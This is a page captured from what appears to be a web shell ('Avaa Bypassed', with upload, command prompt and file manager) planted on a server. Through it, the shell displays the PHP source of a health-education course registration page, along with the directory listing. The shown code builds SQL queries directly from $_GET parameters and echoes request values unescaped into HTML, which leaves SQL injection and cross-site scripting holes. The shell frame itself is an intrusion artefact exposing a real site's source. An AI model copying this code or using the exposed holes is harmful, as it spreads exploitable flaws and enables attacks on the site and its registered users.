[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@3.145.41.173: ~ $
<?php
	
$page_title = "Course Registration";
	include_once("../../php/config.php"); //holds global config variables
	include_once("../../php/common_functions.php"); //include some common functions
	require_once($_SERVER['DOCUMENT_ROOT'] . "/phplist/config/config.php"); //phplist config values


    check_if_authenticated('user');//check if user is logged in
	include("../../php/top.php"); //the HTML that outlines the top of the page for a user's view

?>

<article class="ces-wide">
  <div class="ces-header">
      <?php include("../../menu.php"); ?>
      <h2>CES Register for Session<br>
          <small class="ces-sub-heading grey">All sessions are offered at no cost.</small>
      </h2>..
 </div>

<?php
    //open connection to database
    $db = mysqli_connect($mysql_server, $user, $pass, $database);

  $session_id = '';
  if(isset($_GET['session_id']))
    $session_id = $_GET['session_id'];
  if(isset($_POST['session_id']))
    $session_id = $_POST['session_id'];

  $webex_status = '';
  if(isset($_GET['ST']))
    $webex_status = $_GET['ST'];

  $webex_msg = '';
  if(isset($_GET['RS']))
    $webex_msg = $_GET['RS'];

  $session_type = session_type($session_id);

	//first make sure that the person is not already registered in the session
	$check_id_sql = mysqli_query($db, "SELECT COUNT(*) FROM ces_course_registration WHERE session_id = '$_GET[session_id]' and id = '$_GET[id]'");
	$already_registered = mysqli_fetch_row($check_id_sql);
  if($_POST['submit']) {
    echo register_person_in_session($_POST['session_id'], $_POST['id'], $_POST['location_id'], $_POST['on_waiting_list'], '0', $_POST['attend'], $_POST['guests']);
    echo "<a href='../../user/course-list/?id=".$_POST['id']."' class='btn ces-blue-btn'>Your Course List</a>";
    echo "<a href='../' class='btn ces-orange-btn'>Current Sessions</a>";
  }
  
  elseif(isset($_GET['ST'])){ //WebEx return codes
    $webex_msg = '';
    if(isset($_GET['RS']))
       $webex_msg = $_GET['RS'];

    if($_GET['ST'] === 'SUCCESS'){
      //webex registation was successful
      //register with CES
      echo register_person_in_session($_GET['session_id'], $_SESSION['userid'], 'NULL', '0', '0', 'webex', '0');
      echo "<a href='../../user/course-list/?id=".$_POST['id']."' class='btn ces-blue-btn'>Your Course List</a>";
      echo "<a href='../' class='btn ces-orange-btn'>Current Sessions</a>";
    }
    elseif($_GET['ST'] === 'FAIL'){
      //webex registration failed
      //show errors
      if($webex_msg === "AlreadyEnrolled"){echo "<p class='alert alert-error'>Another attendee with the same Email address has already enrolled for the event.</p>";}
      elseif($webex_msg === "EmailTooLong"){echo "<p class='alert alert-error'>Length of the email address used to register exceeds a maximum of 64 characters. Please contact CES for assistance.</p>";}
      elseif($webex_msg === "FirstNameTooLong"){echo "<p class='alert alert-error'>Length of your first name exceeds a maximum of 32 characters. Please contact CES for assistance.</p>";}
      elseif($webex_msg === "LastNameTooLong"){echo "<p class='alert alert-error'>Length of your last name exceeds a maximum of 32 characters. Please contact CES for assistance.</p>";}
      elseif($webex_msg === "InvalidEmail"){echo "<p class='alert alert-error'>Your email address appears to be invalid. Please contact CES for assistance.</p>";}
      else{
        echo "<p class='alert alert-error'>There was a problem with your registration. Please contact CES for assistance. Error Code: ".$webex_msg.".</p>";
      }
    }
  }

  elseif(isset($_GET['id']) && $already_registered[0] > 0){ //person is already registered in this session so output error and don't attempt to register them again
  		echo "<p class='alert alert-info'>You are already registered in this session.</p>";
  }

  elseif (!is_session_open($session_id) ) {
    echo "<p class='alert alert-error'>Registration is currently closed for this session.</p>";
  }

  elseif (is_session_cancelled($session_id) ) {
    echo "<p class='alert alert-error'>Registration is currently closed for this session.</p>";
  }



  else{ //form has not been submitted yet
  	echo "\n<form method='post' action=" . $_SERVER['PHP_SELF'] . ">";

  	echo "<input type=hidden name=session_id value=" . $_GET['session_id'] . ">"; //so we can keep track of the session_id
  	echo "<input type=hidden name=id value=" . $_GET['id'] . ">"; //so we can keep track of the person
  	echo "<input type=hidden name=location_id value=" . $_GET['location_id'] . ">"; //so we can keep track of the location
  	echo "<input type=hidden name=user_type value=" . $_GET['user_type'] . ">"; //so we can keep track of if a user or admin is logged in

  	//get the course details
  	//there should be only one row returned as there is supposed to only be one main location (ces.locations.telehealth=false) per session
  	$session_sql = mysqli_query($db, "SELECT session.session_id, course.course_id, course.course_name, course.course_description, unix_timestamp(session.start_dt) start_dt, unix_timestamp(session.end_dt) end_dt, session.telehealth, location.location_id, location.location_name, location.address_line1, location.address_line2, location.city, location.province, location.postal_code, level.level_description, session.webex_meeting_key
  	FROM ces_sessions session
  	LEFT OUTER JOIN ces_courses course ON session.course_id = course.course_id
  	LEFT OUTER JOIN ces_locations location ON location.location_id = '$_GET[location_id]'
  	LEFT OUTER JOIN ces_levels level ON level.level_id = course.level_id
  	WHERE session.session_id = '$_GET[session_id]'");

  	while ($session_query = mysqli_fetch_array($session_sql)){

      $current_date_GMT = time(); //timezone is now set properly in no need to convert it
  		$start_date_GMT = convert_local_to_GMT($session_query['start_dt']); //convert session start date to GMT
      if(($start_date_GMT > $current_date_GMT) && is_session_full($session_query['session_id'], $session_query['location_id'])){ //session is full, and registering person before the session's end date, so put person on waiting list if they still want to register
  			$on_waiting_list = 1;
  			$button_text = "Register on Waiting List";
  		}//if
  		else {
  			$on_waiting_list = 0;
  			$button_text = "Confirm Registration";
  		}//else
  		echo "<input id='ces-waitlist-input' type=hidden name=on_waiting_list value=" . $on_waiting_list . ">"; //so we can use the waiting list identifier when form is submitted

      if($session_type == 'recorded'){
        echo '<p class="alert alert-info">The following recorded session is presented in the Windows Media Video (WMV) format. Internet Explorer and/or Windows Media Player is required to view this session.</p>';
      }
  ?>
      <dl class='ces-description-list'>

      <dt>Course:</dt>
      <dd><?php echo $session_query['course_name']; ?></dd>

      <dt>Session Type:</dt>
      <dd><?php echo ucfirst($session_type); session_icon($session_id); ?></dd>

      <dt>Date:</dt>
      <?php
      	if (date('Ymd', $session_query['start_dt']) == date('Ymd', $session_query['end_dt'])){
      		//starts and ends on the same day
      		echo "<dd class='ces-registration-time'>". date('F j, Y g:i A', $session_query['start_dt']). " to " . date('g:i A', $session_query['end_dt']) . "</dd>";
      	}
      	else{
      		echo "<dd class='ces-registration-time'>". date('F j, Y g:i A', $session_query['start_dt']). " to " . date('F j, Y g:i A', $session_query['end_dt']) . "</dd>";
      	}
      ?>

      <dt>Description:</dt>
      <dd><?php echo ($session_query['course_description']?$session_query['course_description']: 'None'); ?></dd>

      <dt>Level:</dt>
      <dd><?php echo ($session_query['level_description']? $session_query['level_description']: 'None'); ?></dd>

    <?php if($session_type != 'recorded' && $session_type != 'webex'){?>
      <dt>Location:</dt>
      <dd>
      	<?php
      		//2011-05-28 - wsopko - output session name as map link
      		//echo $session_query['location_name'];
      		output_map_link($session_query['location_id']);
      		if (strlen($session_query['address_line1']) > 0)
      			echo "\n<br>" . $session_query['address_line1'];
      		if (strlen($session_query['address_line2']) > 0)
      			echo "\n<br>" . $session_query['address_line2'];
      		if (strlen($session_query['city']) > 0)
      			echo "\n<br>" . $session_query['city'];
      		if (strlen($session_query['province']) > 0)
      			echo ", " . $session_query['province'];
      		if (strlen($session_query['postal_code']) > 0)
      			echo "\n<br>" . substr($session_query['postal_code'], 0, 3). " " . substr($session_query['postal_code'], 3, 3);
      	?>
      </dd>
      <?php
    }
      	//change options if telehealth is avalible
      	if ($session_type == telehealth){
      ?>
      	<div>
      		<dt>Attending:</dt>
      		<dd>
      			<?php echo ($on_waiting_list? '<p class="alert-info">This session is currently full. Select <em>In Person</em> when registering to be placed on the waiting list. Otherwise you can register for a <em>Video Conference</em> or an <em>Audioline</em> session.</p>': ''); ?>
      				<div class="radio">
      					<label><input id="ces-in-person" type="radio" name='attend' value="in_person" checked  onclick="javascript:showGuests();">In Person</label>
      				</div>
      				<div class="radio">
      					<label><input id="ces-via-video" type="radio" name='attend' value="video" onclick="javascript:showGuests();">Via Video Conferencing</label>
                <div class="alert alert-info" id="alert-tel" style="margin:0 40px 5px 20px;"><p><strong>Telehealth/Video Conferencing</strong> - A way to access a session using <em>specialized equipment</em>. If your facility, or other nearby site, has this equipment, please register for the session <em>then</em> email ces@ahs.ca requesting a connection to the session.</p><p>Telehealth/Video Conference sessions <strong>can not</strong> be viewed from a personal computer.</p><p>Telehealth/Video Conference connection requests are required no later than <strong>7 days</strong> before the start of the session.</p><a href='../instructions/telehealth.php' class='btn ces-blue-btn' title='Via Video'><span class='fa fa-video-camera'></span> Instructions</a></div>
      				</div>
      				<div class="radio">
      					<label><input id="ces-via-audio" type="radio" name='attend' value="audio" onclick="javascript:showGuests();">Via Audioline</label>
                <div class="alert alert-info" id="alert-audio" style="margin:0 40px 5px 20px;"><p><strong>Audioline</strong> - A way to access the session via <em>your telephone</em>. A session handout is typically provided which allows you to follow along.</p><a href='../instructions/audioline.php' class='btn ces-blue-btn' title='Via Audio'><span class='fa fa-phone'></span> Instructions</a></div>
      				</div>
      		</dd>
      	</div>
      <?php }//end if

        if($session_type == 'recorded'){
      ?>
          <input type="hidden" name='attend' value="recorded">
      <?php }//end if
      	elseif($session_type == 'webex'){
      ?>
      		<input type="hidden" name='attend' value="webex">
      <?php	}//end if

      if($session_type != 'recorded' && $session_type != 'webex'){

        ?>

      <div>
      	<dt>Guests:</dt>
      	<dd>
          <span class="help">If you would like to bring guests please indicate how many will be attending with you below.<br><strong> DO NOT INCLUDE YOURSELF AS A GUEST!</strong></span>
      		<div class="radio"><label><input type="radio" name='guests' value="0" checked id="zero-guests" >0</label></div>
      		<div class="radio"><label><input type="radio" name='guests' value="1" id="one-guests">1</label></div>
      		<div class="radio"><label><input type="radio" name='guests' value="2" id="two-guests">2</label></div>
      	</dd>
      </div>

      <?php }//end if
        else{
          echo '<input type="hidden" name="guests" value="0">';
        }
      ?>
      </dl>
      	<div class="ces-register-page-btn">
      		<a href="/sessions/" class="btn btn-lg btn-block ces-cancel-btn">Cancel</a>
          <?php
          if($session_type === "webex"){
            echo "<a href='".webex_registration_link($_GET['id'], $session_id)."' class='btn btn-lg btn-block ces-green-btn'>".$button_text."</a>";
          }
          else{ ?>
            <input id='register-button' class='btn btn-lg btn-block' type='submit' name='submit' value='<?php echo $button_text ?>'>
          <?php } ?>
      	</div>

      </form>

      <?php
      	//find out if there are any other sessions available for this course
      	$num_sessions_sql = mysqli_query($db, "SELECT COUNT(*) FROM ces_sessions where course_id = '$session_query[course_id]' AND session_id <> '$_GET[session_id]' AND start_dt >= now()");
      	$num_other_sessions = mysqli_fetch_row($num_sessions_sql);
      	if ($num_other_sessions[0] > 0){ //there are other sessions, so output them
      ?>

      <h4>The following other sessions are currently available for registration:</h4>

      <?php


  			//get the other sessions for this course that are available for registration - only list those that have not started yet, and those that are not offered in telehealth locations
      if($session_type === "telehealth" || $session_type === "inperson"){
  			$other_sessions_sql = mysqli_query($db, "SELECT session.session_id, course.course_name, unix_timestamp(session.start_dt) start_dt, unix_timestamp(session.end_dt) end_dt, location.location_id, location.location_name, session.telehealth
    			FROM ces_sessions session
    			LEFT OUTER JOIN ces_courses course ON session.course_id = course.course_id
    			LEFT OUTER JOIN ces_locations location ON location.location_id = session.location_id
    			WHERE session.course_id = '$session_query[course_id]'
    			AND session.session_id <> '$_GET[session_id]'
    			AND session.start_dt >= now()
    			and location.telehealth = 0");
      }
      else{
        $other_sessions_sql = mysqli_query($db, "SELECT session.session_id, course.course_name, unix_timestamp(session.start_dt) start_dt, unix_timestamp(session.end_dt) end_dt, session.telehealth
          FROM ces_sessions session
          LEFT OUTER JOIN ces_courses course ON session.course_id = course.course_id
          WHERE session.course_id = '$session_query[course_id]'
          AND session.session_id <> '$_GET[session_id]'
          AND session.start_dt >= now()");
      }

  			while ($session_query = mysqli_fetch_array($other_sessions_sql)) {

          //replace 12:00 PM with Noon
          $start_time = date('g:i A', $session_query["start_dt"]);
          if ($start_time == "12:00 PM"){
            $start_time = "Noon";
          }
          $end_time = date('g:i A', $session_query["end_dt"]);
          if ($end_time == "12:00 PM"){
            $end_time = "Noon";
          }

          $session_user_id = "&id=";
              if (isset($_SESSION["userid"])){ $session_user_id = '&id='.$_SESSION["userid"];}

            echo "<section class='presentation'>\n";
            echo "  <div class='ces-session-left'>\n";
            echo "    <div class='date'>\n";
            echo "      <span class='day'>" . date('d', $session_query["start_dt"]) . "</span>\n";
            echo "      <span class='month'>" . date('M', $session_query["start_dt"]) . "</span>\n";
            echo "      <span class='year'>" . date('Y', $session_query["start_dt"]) . "</span>\n";
            echo "    </div>\n";
            echo "  </div>\n";

            echo "  <div class='info ces-session-center'>\n";
            echo "    <h3>". $session_query["course_name"]."</h3>\n";
              session_icon($session_query['session_id']);
            echo "      <p class='time'>". $start_time . " - ". $end_time;
            if($session_type === "inperson" || $session_type === "telehealth"){
                echo " - " .output_map_link($session_query["location_id"]);
              }
            echo "      </p>\n";
            echo "      <p class='ces-course-description'>". $session_query["course_description"] ."</p>\n";
            echo "      <p class='ces-session-files'>";
                            output_session_files($session_query['session_id'], "<br>");
            echo "</p>\n";
            echo "  </div>\n";

            echo "  <div class='ces-session-right'>\n";

            //display Register, Registered, or Waiting List button
            if(is_user_logged_in()){
              $registered_sql = mysqli_query($db, "SELECT session_id, id, on_waiting_list
                  FROM ces_course_registration
                  WHERE session_id = $session_query[session_id]
                  AND id = $_SESSION[userid]");

                if(mysqli_num_rows($registered_sql) > 0){
                  $registered_query = mysqli_fetch_row($registered_sql);
                  if ($registered_query[2] == 0){
                    //registered, no waitlist
                    echo "    <a class='btn btn-lg btn-primary btn-block ces-registered-btn' href='/user/course-list/'>Registered</a>\n";
                  }
                  elseif($registered_query[2] == 1){
                    //registed and on wait listed
                    echo "    <a class='btn btn-lg btn-primary btn-block ces-waitlist-btn' href='/user/course-list/'>Wait-list</a>\n";
                  }
                }
                else{//display register buton
                  echo "    <a class='btn btn-lg btn-primary btn-block ces-register-btn' href='?session_id=" . $session_query["session_id"] . "&location_id=" . $session_query["location_id"] . $session_user_id . "&user_type=user'>Register</a>\n";
                }
            }
            else{//no user logged in
              echo "    <a class='btn btn-lg btn-primary btn-block ces-login-to-register-btn' href='../login/'>Login to<br> Register</a>\n";
            }

            echo "  </div>\n";
            echo "</section>\n\n";


        } //while


  			echo "\n</table>";
  		}//if
  	}//while

	} //end else (!submitted)



?>


    </article>

  </section><!-- #middle-->
</div><!-- #wrapper -->

<?php require_once $_SERVER['DOCUMENT_ROOT'].'/require/footer.php';?>


<script type="text/javascript">

          document.getElementById('alert-tel').style.display = 'none';
          document.getElementById('alert-audio').style.display = 'none';

	function showGuests() {
	    if (document.getElementById('ces-in-person').checked) {
	        document.getElementById('zero-guests').disabled = false;
	        document.getElementById('one-guests').disabled = false;
	        document.getElementById('two-guests').disabled = false;
          document.getElementById('alert-tel').style.display = 'none';
          document.getElementById('alert-audio').style.display = 'none';
            if(document.getElementById('ces-waitlist-input').value == 1){
               document.getElementById('register-button').value = "Register on Waiting List";
            }else{
	           document.getElementById('register-button').value = "Confirm Registration";
            }
	    } else {
	        document.getElementById('zero-guests').disabled = true;
	        document.getElementById('one-guests').disabled = true;
	        document.getElementById('two-guests').disabled = true;
	        document.getElementById("zero-guests").checked = true;
            if(document.getElementById('ces-via-video').checked){
                document.getElementById('register-button').value = "Register for Video Session";
                document.getElementById('alert-tel').style.display = 'block';
                document.getElementById('alert-audio').style.display = 'none';
            }else if(document.getElementById('ces-via-audio').checked){
                document.getElementById('register-button').value = "Register for Audio Session";
                document.getElementById('alert-audio').style.display = 'block';
                document.getElementById('alert-tel').style.display = 'none';
            }
	    }
	}
</script>

Filemanager

Name Type Size Permission Actions
.htaccess File 104 B 0644
error_log File 4.4 KB 0644
index.php File 19.68 KB 0744
phpinfo.php File 168 B 0644